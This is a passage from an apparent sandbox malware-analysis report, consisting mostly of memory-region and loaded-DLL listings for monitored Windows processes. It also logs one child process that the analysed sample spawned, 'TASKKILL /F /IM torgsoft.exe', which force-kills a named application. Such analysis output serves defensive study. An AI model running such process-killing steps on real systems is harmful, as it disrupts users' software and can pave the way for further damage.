"\\Windows\\SysWOW64\\netapi32.dll" (normalized: "c:\\windows\\syswow64\\netapi32.dll") Region: id = 4621 start_va = 0x74c80000 end_va = 0x74c8cfff entry_point = 0x74c811e0 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\SysWOW64\\wtsapi32.dll" (normalized: "c:\\windows\\syswow64\\wtsapi32.dll") Region: id = 4622 start_va = 0x74c90000 end_va = 0x74cc4fff entry_point = 0x74c913d5 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\SysWOW64\\framedynos.dll" (normalized: "c:\\windows\\syswow64\\framedynos.dll") Region: id = 4623 start_va = 0x75330000 end_va = 0x75348fff entry_point = 0x75331319 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 4624 start_va = 0x753f0000 end_va = 0x753fbfff entry_point = 0x753f10e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 4625 start_va = 0x75400000 end_va = 0x7545ffff entry_point = 0x7541a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 4626 start_va = 0x755a0000 end_va = 0x7564bfff entry_point = 0x755aa472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 4627 start_va = 0x763f0000 end_va = 0x7648ffff entry_point = 0x764049e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 4628 start_va = 0x76520000 end_va = 0x7662ffff entry_point = 0x765332d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 4629 start_va = 0x76690000 end_va = 0x7677ffff entry_point = 0x766a0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 4630 start_va = 0x76780000 end_va = 0x767d6fff entry_point = 0x76799ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 4631 start_va = 0x76910000 end_va = 0x7699efff entry_point = 0x76913fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 4632 start_va = 0x769a0000 end_va = 0x769b8fff entry_point = 0x769a4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 4633 start_va = 0x76c80000 end_va = 0x76c85fff entry_point = 0x76c81782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 4634 start_va = 0x76c90000 end_va = 0x76d2cfff entry_point = 0x76cc3fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 4635 start_va = 0x76d30000 end_va = 0x76e8bfff entry_point = 0x76d7ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 4636 start_va = 0x76ea0000 end_va = 0x76ea9fff entry_point = 0x76ea36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 4637 start_va = 0x77130000 end_va = 0x77164fff entry_point = 0x7713145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 4638 start_va = 0x772c0000 end_va = 0x77305fff entry_point = 0x772c7478 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 4639 start_va = 0x77310000 end_va = 0x7740ffff entry_point = 0x7732b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 4640 start_va = 0x77410000 end_va = 0x7749ffff entry_point = 0x77426343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 4641 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4642 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4643 start_va = 0x3f0000 end_va = 0x577fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 4644 start_va = 0x767e0000 end_va = 0x7683ffff entry_point = 0x767f158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 4645 start_va = 0x771f0000 end_va = 0x772bbfff entry_point = 0x771f168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 4646 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4647 start_va = 0xe0000 end_va = 0xe1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4648 start_va = 0x130000 end_va = 0x133fff entry_point = 0x130000 region_type = mapped_file name = "taskkill.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\taskkill.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\taskkill.exe.mui") Region: id = 4649 start_va = 0x140000 end_va = 0x140fff entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 4650 start_va = 0x150000 end_va = 0x150fff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 4651 start_va = 0x160000 end_va = 0x160fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000160000" filename = "" Region: id = 4652 start_va = 0x200000 end_va = 0x23ffff entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 4653 start_va = 0x2b0000 end_va = 0x36ffff entry_point = 0x2b0000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 4654 start_va = 0x390000 end_va = 0x3cffff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4655 start_va = 0x660000 end_va = 0x7e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000660000" filename = "" Region: id = 4656 start_va = 0x950000 end_va = 0x1d4ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 4657 start_va = 0x1e90000 end_va = 0x1ecffff entry_point = 0x0 region_type = private name = "private_0x0000000001e90000" filename = "" Region: id = 4658 start_va = 0x76490000 end_va = 0x76512fff entry_point = 0x764923d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 4659 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 4660 start_va = 0x170000 end_va = 0x170fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 4661 start_va = 0x74bd0000 end_va = 0x74c2bfff entry_point = 0x74bf2b48 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\SysWOW64\\wbemcomn.dll" (normalized: "c:\\windows\\syswow64\\wbemcomn.dll") Region: id = 4662 start_va = 0x74c30000 end_va = 0x74c39fff entry_point = 0x74c3149a region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemprox.dll") Region: id = 4663 start_va = 0x1e00000 end_va = 0x1e3ffff entry_point = 0x0 region_type = private name = "private_0x0000000001e00000" filename = "" Region: id = 4664 start_va = 0x1ed0000 end_va = 0x1fcffff entry_point = 0x0 region_type = private name = "private_0x0000000001ed0000" filename = "" Region: id = 4665 start_va = 0x74ba0000 end_va = 0x74bc8fff entry_point = 0x74ba6b19 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\SysWOW64\\winsta.dll" (normalized: "c:\\windows\\syswow64\\winsta.dll") Region: id = 4666 start_va = 0x260000 end_va = 0x29ffff entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 4667 start_va = 0x1dc0000 end_va = 0x1dfffff entry_point = 0x0 region_type = private name = "private_0x0000000001dc0000" filename = "" Region: id = 4668 start_va = 0x1fd0000 end_va = 0x229efff entry_point = 0x1fd0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4669 start_va = 0x74460000 end_va = 0x7449afff entry_point = 0x7446128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 4670 start_va = 0x749e0000 end_va = 0x749f5fff entry_point = 0x749e2dc3 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 4671 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 4672 start_va = 0x749d0000 end_va = 0x749ddfff entry_point = 0x749d1235 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 4673 start_va = 0x580000 end_va = 0x5bffff entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 4674 start_va = 0x7f0000 end_va = 0x82ffff entry_point = 0x0 region_type = private name = "private_0x00000000007f0000" filename = "" Region: id = 4675 start_va = 0x1e40000 end_va = 0x1e7ffff entry_point = 0x0 region_type = private name = "private_0x0000000001e40000" filename = "" Region: id = 4676 start_va = 0x23b0000 end_va = 0x23effff entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 4677 start_va = 0x74b90000 end_va = 0x74b9efff entry_point = 0x74b921a0 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemsvc.dll") Region: id = 4678 start_va = 0x7efaa000 end_va = 0x7efacfff entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 4679 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 4680 start_va = 0x6a570000 end_va = 0x6a605fff entry_point = 0x6a58f8b9 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\fastprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\fastprox.dll") Region: id = 4681 start_va = 0x74b70000 end_va = 0x74b87fff entry_point = 0x74b71335 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\SysWOW64\\ntdsapi.dll" (normalized: "c:\\windows\\syswow64\\ntdsapi.dll") Thread: id = 284 os_tid = 0x88c Thread: id = 285 os_tid = 0x890 Thread: id = 286 os_tid = 0x6e4 Thread: id = 287 os_tid = 0x884 Thread: id = 288 os_tid = 0x678 Process: id = "40" image_name = "taskkill.exe" filename = "c:\\windows\\syswow64\\taskkill.exe" page_root = "0x561c3000" os_pid = "0x8e4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0xbb0" cmd_line = "TASKKILL /F /IM torgsoft.exe /IM torgsoft.exe " cur_dir = "C:\\Users\\kFT6uTQW\\Desktop\\" os_username = "XABNCPUWKW\\kFT6uTQW" os_groups = "XABNCPUWKW\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ae" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4682 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4683 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 4684 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4685 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 4686 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 4687 start_va = 0xb0000 end_va = 0xeffff entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 4688 start_va = 0x2a0000 end_va = 0x2dffff entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 4689 start_va = 0xec0000 end_va = 0xed5fff entry_point = 0xec5c89 region_type = mapped_file name = "taskkill.exe" filename = "\\Windows\\SysWOW64\\taskkill.exe" (normalized: "c:\\windows\\syswow64\\taskkill.exe") Region: id = 4690 start_va = 0x776c0000 end_va = 0x77868fff entry_point = 0x776c0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4691 start_va = 0x778a0000 end_va = 0x77a1ffff entry_point = 0x778a0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 4692 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 4693 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 4694 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 4695 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 4696 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 4697 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4698 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 4699 start_va = 0x4a0000 end_va = 0x51ffff entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 4700 start_va = 0x73fd0000 end_va = 0x73fd7fff entry_point = 0x73fd20f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 4701 start_va = 0x73fe0000 end_va = 0x7403bfff entry_point = 0x7401f798 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 4702 start_va = 0x74040000 end_va = 0x7407efff entry_point = 0x7406de78 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 4703 start_va = 0x774a0000 end_va = 0x77599fff entry_point = 0x0 region_type = private name = "private_0x00000000774a0000" filename = "" Region: id = 4704 start_va = 0x775a0000 end_va = 0x776befff entry_point = 0x0 region_type = private name = "private_0x00000000775a0000" filename = "" Region: id = 4705 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4706 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 4707 start_va = 0xf0000 end_va = 0x156fff entry_point = 0xf0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4708 start_va = 0x440000 end_va = 0x44ffff entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 4709 start_va = 0x6e0000 end_va = 0x7dffff entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 4710 start_va = 0x6a520000 end_va = 0x6a60afff entry_point = 0x6a5213ce region_type = mapped_file name = "dbghelp.dll" filename = "\\Windows\\SysWOW64\\dbghelp.dll" (normalized: "c:\\windows\\syswow64\\dbghelp.dll") Region: id = 4711 start_va = 0x73ba0000 end_va = 0x73bb1fff entry_point = 0x73ba1200 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 4712 start_va = 0x74080000 end_va = 0x74087fff entry_point = 0x740810e9 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll") Region: id = 4713 start_va = 0x74b50000 end_va = 0x74b58fff entry_point = 0x74b51220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 4714 start_va = 0x74c30000 end_va = 0x74c3efff entry_point = 0x74c312a1 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 4715 start_va = 0x74c50000 end_va = 0x74c84fff entry_point = 0x74c513d5 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\SysWOW64\\framedynos.dll" (normalized: "c:\\windows\\syswow64\\framedynos.dll") Region: id = 4716 start_va = 0x74c90000 end_va = 0x74c98fff entry_point = 0x74c915a6 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 4717 start_va = 0x74ca0000 end_va = 0x74cb0fff entry_point = 0x74ca1300 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\SysWOW64\\netapi32.dll" (normalized: "c:\\windows\\syswow64\\netapi32.dll") Region: id = 4718 start_va = 0x74cc0000 end_va = 0x74cccfff entry_point = 0x74cc11e0 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\SysWOW64\\wtsapi32.dll" (normalized: "c:\\windows\\syswow64\\wtsapi32.dll") Region: id = 4719 start_va = 0x75330000 end_va = 0x75348fff entry_point = 0x75331319 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 4720 start_va = 0x753f0000 end_va = 0x753fbfff entry_point = 0x753f10e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 4721 start_va = 0x75400000 end_va = 0x7545ffff entry_point = 0x7541a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 4722 start_va = 0x755a0000 end_va = 0x7564bfff entry_point = 0x755aa472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 4723 start_va = 0x763f0000 end_va = 0x7648ffff entry_point = 0x764049e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 4724 start_va = 0x76520000 end_va = 0x7662ffff entry_point = 0x765332d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 4725 start_va = 0x76690000 end_va = 0x7677ffff entry_point = 0x766a0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 4726 start_va = 0x76780000 end_va = 0x767d6fff entry_point = 0x76799ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 4727 start_va = 0x76910000 end_va = 0x7699efff entry_point = 0x76913fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 4728 start_va = 0x769a0000 end_va = 0x769b8fff entry_point = 0x769a4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 4729 start_va = 0x76c80000 end_va = 0x76c85fff entry_point = 0x76c81782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 4730 start_va = 0x76c90000 end_va = 0x76d2cfff entry_point = 0x76cc3fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 4731 start_va = 0x76d30000 end_va = 0x76e8bfff entry_point = 0x76d7ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 4732 start_va = 0x76ea0000 end_va = 0x76ea9fff entry_point = 0x76ea36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 4733 start_va = 0x77130000 end_va = 0x77164fff entry_point = 0x7713145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 4734 start_va = 0x772c0000 end_va = 0x77305fff entry_point = 0x772c7478 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 4735 start_va = 0x77310000 end_va = 0x7740ffff entry_point = 0x7732b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 4736 start_va = 0x77410000 end_va = 0x7749ffff entry_point = 0x77426343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 4737 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4738 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4739 start_va = 0x520000 end_va = 0x6a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000520000" filename = "" Region: id = 4740 start_va = 0x767e0000 end_va = 0x7683ffff entry_point = 0x767f158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 4741 start_va = 0x771f0000 end_va = 0x772bbfff entry_point = 0x771f168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 4742 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4743 start_va = 0x70000 end_va = 0x71fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 4744 start_va = 0x80000 end_va = 0x83fff entry_point = 0x80000 region_type = mapped_file name = "taskkill.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\taskkill.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\taskkill.exe.mui") Region: id = 4745 start_va = 0x90000 end_va = 0x90fff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 4746 start_va = 0xa0000 end_va = 0xa0fff entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 4747 start_va = 0x160000 end_va = 0x160fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000160000" filename = "" Region: id = 4748 start_va = 0x180000 end_va = 0x1bffff entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 4749 start_va = 0x1c0000 end_va = 0x1fffff entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 4750 start_va = 0x2e0000 end_va = 0x39ffff entry_point = 0x2e0000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 4751 start_va = 0x7e0000 end_va = 0x960fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007e0000" filename = "" Region: id = 4752 start_va = 0x9a0000 end_va = 0x9dffff entry_point = 0x0 region_type = private name = "private_0x00000000009a0000" filename = "" Region: id = 4753 start_va = 0xee0000 end_va = 0x22dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ee0000" filename = "" Region: id = 4754 start_va = 0x76490000 end_va = 0x76512fff entry_point = 0x764923d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 4755 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 4756 start_va = 0x170000 end_va = 0x170fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 4757 start_va = 0x74b70000 end_va = 0x74bcbfff entry_point = 0x74b92b48 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\SysWOW64\\wbemcomn.dll" (normalized: "c:\\windows\\syswow64\\wbemcomn.dll") Region: id = 4758 start_va = 0x74c40000 end_va = 0x74c49fff entry_point = 0x74c4149a region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemprox.dll") Region: id = 4759 start_va = 0xa70000 end_va = 0xaaffff entry_point = 0x0 region_type = private name = "private_0x0000000000a70000" filename = "" Region: id = 4760 start_va = 0xab0000 end_va = 0xbaffff entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 4761 start_va = 0x74c00000 end_va = 0x74c28fff entry_point = 0x74c06b19 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\SysWOW64\\winsta.dll" (normalized: "c:\\windows\\syswow64\\winsta.dll") Region: id = 4762 start_va = 0x450000 end_va = 0x48ffff entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 4763 start_va = 0xa20000 end_va = 0xa5ffff entry_point = 0x0 region_type = private name = "private_0x0000000000a20000" filename = "" Region: id = 4764 start_va = 0xbb0000 end_va = 0xe7efff entry_point = 0xbb0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4765 start_va = 0x74460000 end_va = 0x7449afff entry_point = 0x7446128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 4766 start_va = 0x749e0000 end_va = 0x749f5fff entry_point = 0x749e2dc3 region_type = 